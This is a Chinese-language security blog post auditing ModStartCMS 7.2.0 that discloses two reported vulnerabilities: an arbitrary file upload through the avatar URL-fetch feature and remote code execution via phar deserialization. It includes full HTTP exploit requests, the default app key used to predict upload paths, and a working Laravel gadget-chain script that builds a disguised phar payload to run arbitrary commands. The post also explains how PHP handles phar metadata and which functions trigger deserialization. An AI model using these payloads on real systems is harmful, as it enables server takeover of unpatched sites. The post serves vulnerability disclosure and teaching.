ModStartCMS-7.2.0 代码审计

0x00 前言

ModStart 是一个基于 Laravel 的模块化快速开发框架。由西安炎燚信息科技有限公司开发,团队成立于2016年,是一家专业从事互联网应用服务、云计算、大数据、人工智能、企业信息化建设的技术型企业。
在今年9月份我将审计出的漏洞报送给CNVD、CNNVD平台后,他们家开放了ModStart安全应急响应中心 | ModStart,希望大家多多支持他们家的产品。
本篇文章通过代码审计发现ModStartCMS的RCE漏洞,描述了如何运用 phar 进行 php 反序列化漏洞利用的过程,并提供进一步了解 phar 的相关内容,帮助大家更好的审计出Phar反序列化漏洞。

0x01 声明

遵纪守法
公网上存在部署了旧版本的CMS,旧版本仍然存在这些问题。
请不要非法攻击别人的服务器,如果你是服务器主人请升级到最新版本。
请严格遵守网络安全法相关条例!此分享主要用于交流学习,请勿用于非法用途,一切后果自付。
一切未经授权的网络攻击均为违法行为,互联网非法外之地。
漏洞报送
该文章涉及的漏洞已提交到CNVD、CNNVD平台。
文章转载
商业转载请联系作者获得授权,非商业转载请注明出处。
作者公众号:响尾蛇社区

0x02 环境

系统版本:ModStartCMS-7.2.0
系统环境:Window11
PHP版本:7.0.9NTS
数据库版本:5.7.26
Web服组件务:Nginx1.15.11
源码下载地址:https://gitee.com/modstart/ModStartCMS

0x03 安装

PHPStudy安装ModStart | ModStart开发者文档

0x04 代码审计

【高危】前台任意文件上传漏洞

漏洞详情

在实现上传头像功能上,存在远程拉取图片的方法,使用了CurlUtil::getRaw远程获取文件内容并通过file_put_contents保存该文件到temp目录下。攻击者可以构造恶意的URL,利用这个功能来上传恶意文件。

漏洞复现

新建一个命名为help.php的文件,内容为:

<?=phpinfo();?>

在文件目录下使用python -m http.server 19980
image.png
访问 http://localhost:38201/register 任意注册账号。
image.png
访问 http://localhost:38201/login 进行登录,登录成功后找到修改头像功能点。
http://localhost:38201/member_profile/avatar
image.png
任意上传一张图片并进行抓包修改。
原始数据包:
image.png
修改后:
image.png
数据包:

POST /member_profile/avatar HTTP/1.1
Host: localhost:38201
Content-Length: 44
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:38201
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:38201/member_profile/avatar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=b9b3b6655310f81aa0329bfd23522581; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIxZDlmMjExMGZlOTgzM2U1MTQ4MmQyZjdkMTFmZjFlNiIsImlzcyI6ImxvY2FsaG9zdDo0NTYwMCIsImF1ZCI6ImxvY2FsaG9zdDo0NTYwMCIsImlhdCI6MTY5NDgyODg4MCwibmJmIjoxNjk0ODI4ODgwLCJleHAiOjE2OTc0MjA4ODAsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.y5r2KvC8qH8eOhSYzK07JKHvRFcUDbFgCpdFuJTa1m4; expires_time=1697420880; ssid=eyJpdiI6ImZSdFV1aHNPR2JqdkhEZEpWN1IwUHc9PSIsInZhbHVlIjoiNG04VmdheFVoNFl0VDhUWkNScjY2YnRPY0pvRWZnYlJoU0dyb3ZxVlZHRVwvRnl6S2FtYUJmSVpUaDJZXC95OCsrU1hURjVZMzlKalphTjBMS2kyZG5CQT09IiwibWFjIjoiYTYyMWI3MTE2NTBmODY0ZmFhMmVjMDg0OWVhMWQxODQzNTVlYWM3NTgzNDhmOTM2NjEyMTU0M2NjNjM2NDg2YyJ9
Connection: close

type=&avatar=http://127.0.0.1:19980/help.PHP

生成的文件名是md5值,摘取内容为:

yMZzWpFRGBGwrBVwDiNQF0U9xl7Baqa8:http://127.0.0.1:19980/help.PHP

将内容md5编码后得到ce540a9b00ee6fefa1f0ead15f2895ba
image.png
访问 http://localhost:38201/temp/ce540a9b00ee6fefa1f0ead15f2895ba.php
image.png

漏洞审计

调用链:

Member/Web/Controller/MemberProfileController.php avatar 54行
Member/Api/Controller/MemberProfileController.php avatar 83行
vendor/modstart/modstart/src/Core/Util/FileUtil.php savePathToLocalTemp 606行
vendor/modstart/modstart/src/Core/Util/CurlUtil.php getRaw 306行

从路由文件Member/Api/routes.php中可以找到路由/member_profile/avatar对应的MemberProfileController.php中的avatar函数。
image.png
跟进后来到Member/Api/Controller/MemberProfileController.phpavatar函数中进行处理。通过改变传入type参数的值来进入到savePathToLocalTemp函数中去。
image.png
savePathToLocalTemp函数中通过CurlUtil::getRaw请求了我们的链接并通过file_put_contents保存文件到$tempPath指定的目录。这种拼接方式是可以被预测的 ,$appKey默认为yMZzWpFRGBGwrBVwDiNQF0U9xl7Baqa8

public_path('temp/' . md5($appKey . ':' . $path) . (starts_with($ext, '.') ? $ext : '.' . $ext));

image.png

漏洞修复请看文件恶意上传漏洞公告 | ModStart

【高危】前台远程命令执行(RCE)漏洞

漏洞详情

在实现上传头像功能时,不安全的使用了file_exists函数,将未经校验的数据传递给了该函数。攻击者可以构造恶意的phar文件,使用phar协议触发反序列化,造成远程执行漏洞。

漏洞复现

步骤:

  1. 注册账号并登录
  2. 上传带有反序列化利用的phar文件
  3. 通过 file_exists 函数触发phar协议
  4. 注册账号并登录

访问 http://localhost:38201/register 任意注册账号。
image.png
访问 http://localhost:38201/login 进行登录

  1. 注册账号并登录

在任意文件夹下创建命名为index.html文件,内容为:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>文件上传表单</title>
</head>
<body>

<h1>文件上传</h1>

<form action="http://localhost:38201/member_data/file_manager/file?action=uploadDirect" method="post" enctype="multipart/form-data">
<label for="file">选择要上传的文件:</label>
<input type="file" name="file" id="file">
<br><br>
<input type="submit" value="上传文件">
</form>

</body>
</html>

在文件目录下使用python -m http.server 19980

  1. 生成EXP phar文件

在Public文件夹下新建命名为exp.php文件,内容如下

<?php
namespace Illuminate\Database;
class DatabaseManager{
protected $extensions = array();
protected $app=array();
public function __construct(){
$this->extensions['calc.exe']='call_user_func';
$this->app['config']['database.connections']=['calc.exe'=>'system'];
$this->app['config']['database.default'] = 'calc.exe';
}
}


namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
protected $factory;
public function __construct(){
$this->factory=new DatabaseManager;
}
}


namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
use Phar;

class WindowsPipes{
private $files = array();
public function __construct(){
$this->files = array(new View());
}
}
//echo urlencode(serialize(new WindowsPipes()));
$exp=new WindowsPipes();
//echo base64_encode(serialize($exp));
@unlink("laravel5_exp.phar");
$phar = new Phar("laravel5_exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

运行后得到laravel5_exp.phar文件,重命名为laravel5_exp.jpg

如果要自定义命令,请将内容中的calc.exe全部替换成自定义命令。保持统一。

  1. 上传phar文件

相同游览器访问http://localhost:19980/页面,选择并上传laravel5_exp.jpg文件。
image.png
上传后得到路径\/data\/file\/2023\/09\/22\/28396_a9tq_5362.jpg
image.png

  1. 触发phar协议造成反序列化

http://localhost:38201/member_profile/avatar
image.png
任意上传一张图片并进行抓包修改。
原始数据包:
image.png
修改type为空,avatar为phar协议,路径为上个步骤获取的路径。
修改后:
image.png
数据包:

POST /member_profile/avatar HTTP/1.1
Host: localhost:38201
Content-Length: 62
sec-ch-ua: "Not A(Brand";v="24", "Chromium";v="110"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:38201
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:38201/member_profile/avatar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=b9b3b6655310f81aa0329bfd23522581; uuid=1; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwd2QiOiIxZDlmMjExMGZlOTgzM2U1MTQ4MmQyZjdkMTFmZjFlNiIsImlzcyI6ImxvY2FsaG9zdDo0NTYwMCIsImF1ZCI6ImxvY2FsaG9zdDo0NTYwMCIsImlhdCI6MTY5NDgyODg4MCwibmJmIjoxNjk0ODI4ODgwLCJleHAiOjE2OTc0MjA4ODAsImp0aSI6eyJpZCI6MSwidHlwZSI6ImFkbWluIn19.y5r2KvC8qH8eOhSYzK07JKHvRFcUDbFgCpdFuJTa1m4; expires_time=1697420880; ssid=eyJpdiI6ImZSdFV1aHNPR2JqdkhEZEpWN1IwUHc9PSIsInZhbHVlIjoiNG04VmdheFVoNFl0VDhUWkNScjY2YnRPY0pvRWZnYlJoU0dyb3ZxVlZHRVwvRnl6S2FtYUJmSVpUaDJZXC95OCsrU1hURjVZMzlKalphTjBMS2kyZG5CQT09IiwibWFjIjoiYTYyMWI3MTE2NTBmODY0ZmFhMmVjMDg0OWVhMWQxODQzNTVlYWM3NTgzNDhmOTM2NjEyMTU0M2NjNjM2NDg2YyJ9
Connection: close

type=&avatar=phar://./data/file/2023/09/22/28396_a9tq_5362.jpg

请求后可以执行我们想要的命令。
image.png
20230922_162126.mp4 (38.4MB)### 漏洞审计
调用链:

Member/Web/Controller/MemberProfileController.php avatar 54行
Member/Api/Controller/MemberProfileController.php avatar 83行
vendor/modstart/modstart/src/Core/Util/FileUtil.php savePathToLocalTemp 606行
vendor/modstart/modstart/src/Core/Util/FileUtil.php file_exists 608行

从路由文件Member/Api/routes.php中可以找到路由/member_profile/avatar对应的MemberProfileController.php中的avatar函数。
image.png
跟进后来到Member/Api/Controller/MemberProfileController.phpavatar函数中进行处理。通过改变传入type参数的值来进入到savePathToLocalTemp函数中去。
image.png
传入的路径会先通过file_exists函数进行判断,这个函数可以触发phar协议,执行反序列化,造成命令执行。
image.png

0x05 认识 Phar 元数据自动反序列化

Phar (PHp ARchive) 文件是一种使用单一文件格式(类似于 JAR 文件在 Java 生态系统中的工作方式)分发 PHP 应用程序和库的方法。从结构上讲,它们只是存档(带有可选的 gzip 压缩或基于 zip 的 tar 文件)。

安全研究员Sam Thomas分享了议题 It’s a PHP unserialization vulnerability Jim, but not as we know it

实际上在PHP 8.0之前,当使用Phar流包装器时,它会自动尝试反序列化Phar元数据。即在对Phar文件进行任何文件操作时会将文件中的meta-data进行反序列化。

PHP8.0 后的变化

php-src/ext/phar/phar.c中我们可以找到meta-data处理的函数phar_metadata_tracker_unserialize_or_copy。在PHP 8.1中,流包装器函数不再尝试自动反序列化元数据。只有显式调用Phar::getMetadataPharFileInfo::getMetadata方法时才会尝试反序列化Phar元数据。
观察代码,这里增加了options,它的内容是在Phar文件定义的。

$phar = new Phar('path/to/phar.phar');
$phar->getMetadata(['allowed_classes' => []]);

image.png
具体处理函数php_unserialize_with_options可以在php-src/ext/standard/var.c中找到。
image.png
首先检查allowed_classes是否为数组、布尔值或未设置。如果是数组或布尔值,它会创建一个哈希表class_hash来存储允许的类。然后,它遍历allowed_classes数组,将类名添加到class_hash中。
最终,class_hash会被传递给php_var_unserialize_set_allowed_classes函数,这将限制在反序列化时允许的类。这样,通过设置allowed_classes选项,代码实现了对允许的类进行限制。

if (options != NULL) {
zval *classes, *max_depth;

classes = zend_hash_str_find_deref(options, "allowed_classes", sizeof("allowed_classes")-1);
if (classes && Z_TYPE_P(classes) != IS_ARRAY && Z_TYPE_P(classes) != IS_TRUE && Z_TYPE_P(classes) != IS_FALSE) {
zend_type_error("%s(): Option \"allowed_classes\" must be of type array|bool, %s given", function_name, zend_zval_value_name(classes));
goto cleanup;
}

if(classes && (Z_TYPE_P(classes) == IS_ARRAY || !zend_is_true(classes))) {
ALLOC_HASHTABLE(class_hash);
zend_hash_init(class_hash, (Z_TYPE_P(classes) == IS_ARRAY) ? zend_hash_num_elements(Z_ARRVAL_P(classes)) : 0, NULL, NULL, 0);
}
if(class_hash && Z_TYPE_P(classes) == IS_ARRAY) {
// 处理 allowed_classes 选项
}

// 处理 max_depth 选项
}

从下面代码看,尽管我们不传递options保持为NULL一样可以进入到php_var_unserialize函数中去。这种代码属于向后兼容性。
image.png
php-src/ext/phar/phar_object.c我们可以了解到,Phar::getMetadataC 扩展宏定义。
image.png
这里逻辑做了两部分工作:
1、获取 metadata tracker

tracker = &phar_obj->archive->metadata_tracker;

通过phar_obj对象获取 Phar 归档对象,然后获取与该归档对象关联的metadata trackermetadata_tracker负责跟踪归档的元数据信息。
2、检查是否有数据并获取数据

if (phar_metadata_tracker_has_data(tracker, phar_obj->archive->is_persistent)) {
phar_metadata_tracker_unserialize_or_copy(tracker, return_value, phar_obj->archive->is_persistent, unserialize_options, "Phar::getMetadata");
}

检查metadata tracker是否包含数据,如果是,则调用phar_metadata_tracker_unserialize_or_copy函数,该函数用于将元数据反序列化或复制到return_value中。is_persistent参数表示是否是持久化的 Phar 归档。
在文件php-src/ext/phar/phar_object.stub.php中可以找到对应接口定义

public function getMetadata(array $unserializeOptions = []): mixed {}

image.png
以下列举出能触发 phar 反序列化的函数:

copy                file_exists         file_get_contents   file_put_contents   
file fileatime filectime filegroup
fileinode filemtime fileowner fileperms
filesize filetype fopen is_dir
is_executable is_file is_link is_readable
is_writable lstat mkdir parse_ini_file
readfile rename rmdir stat
touch unlink getimagesize fstat
fseek opendir require_once include_once
require include scandir highlight_file

除了上述代码,还有其他函数需要我们去发现。

参考文章:
PHP 8.0: phar:// stream wrapper no longer unserializes meta data automaticallyPHP: rfc:phar_stop_autoloading_metadata
Exploiting PHP Phar Deserialization Vulnerabilities: Part 1

0x06 总结

Phar 反序列化在非常多的地方可以实现攻击,它的灵活性让PHP感到头疼。因为他尽管在文件上传后缀限制的情况下,依旧可以实现反序列化攻击。这项技术在18年提出,可开发人员对其了解甚少,对它的过滤几乎没有,并且这几年来都提出绕过简单防御的可能性。虽然在CTF中Web题目已经不屑于出该类型的题目,但它依旧值得我们去了解以及学习。

ModStartCMS-7.2.0 代码审计

https://www.en0th.com/posts/c9e1fce4.html

作者

en0th

发布于

2024-04-30

更新于

2024-04-30

许可协议

评论